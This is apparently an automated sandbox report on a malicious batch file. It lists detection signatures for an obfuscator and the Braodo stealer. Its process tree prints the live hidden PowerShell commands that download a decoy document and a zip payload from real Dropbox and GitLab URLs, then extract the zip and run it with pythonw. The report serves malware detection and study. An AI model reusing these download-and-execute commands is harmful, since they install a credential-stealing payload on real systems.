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Windows
Analysis Report
gar17lksgf.bat
Overview
General Information
Detection
Abobus Obfuscator, Braodo
Score: | 88 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 3120 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\gar17 lksgf.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5568 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 2032 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - findstr.exe (PID: 6108 cmdline:
fiNdstr /L /I set "C :\Users\us er\Desktop \gar17lksg f.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 3916 cmdline:
fiNdstr /L /I goto " C:\Users\u ser\Deskto p\gar17lks gf.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 2992 cmdline:
fiNdstr /L /I echo " C:\Users\u ser\Deskto p\gar17lks gf.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 4180 cmdline:
fiNdstr /L /I pause "C:\Users\ user\Deskt op\gar17lk sgf.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 4500 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - find.exe (PID: 5164 cmdline:
fiNd MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - find.exe (PID: 416 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 5356 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 5316 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/q2jv8 nnxln07fkz xxvzm6/Gar min_Campai gn_Informa tion_for_P artners_V1 0.docx?rlk ey=r2rwmqa o9egm53biw vt2zwpbv&s t=qk880f0g &dl=1', 'C :\Users\us er\AppData \Local\Tem p\\Garmin_ Campaign_I nformation _for_Partn ers_V10.do cx')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 6960 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user\ AppData\Lo cal\Temp\\ Garmin_Cam paign_Info rmation_fo r_Partners _V10.docx' " MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 772 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/garvdsf /dsfg/-/ra w/main/FGa 1712.zip', 'C:\Users \Public\Do cument.zip ')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 4628 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "Add-T ype -Assem blyName Sy stem.IO.Co mpression. FileSystem ; [System. IO.Compres sion.ZipFi le]::Extra ctToDirect ory('C:/Us ers/Public /Document. zip', 'C:/ Users/Publ ic/Documen t')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 3616 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and " C:\U sers\Publi c\Document \pythonw.e xe C:\User s\Public\D ocument\DL Ls\ld_312. pd clickap p" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_Braodo_1 | Yara detected Braodo | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
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